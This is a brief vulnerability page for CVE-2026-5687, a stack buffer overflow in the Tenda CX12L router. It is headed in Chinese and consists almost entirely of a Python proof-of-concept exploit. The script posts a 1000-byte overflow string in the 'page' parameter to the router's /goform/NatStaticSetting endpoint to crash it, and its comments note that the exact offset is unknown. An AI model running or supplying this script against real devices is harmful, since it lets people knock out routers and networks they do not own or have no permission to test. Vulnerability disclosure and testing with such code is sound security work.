CVE-2026-5687 Tenda CX12L 栈缓冲区溢出漏洞

import requests def exploit_tenda_cve2026_5687(target_ip): """ PoC for CVE-2026-5687: Stack Buffer Overflow in Tenda CX12L Target: /goform/NatStaticSetting Vulnerable Parameter: page """ url = f"http://{target_ip}/goform/NatStaticSetting" # Constructing a payload to trigger the buffer overflow. # Exact offset depends on specific firmware analysis. # Assuming a large payload triggers the crash. payload = b"A" * 1000 headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/x-www-form-urlencoded" } # The vulnerability is triggered via the 'page' parameter data = { "page": payload.decode('latin-1') } try: print(f"[+] Sending exploit payload to {target_ip}...") response = requests.post(url, data=data, headers=headers, timeout=5) print(f"[+] Server responded with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed (likely DoS triggered): {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP exploit_tenda_cve2026_5687(target)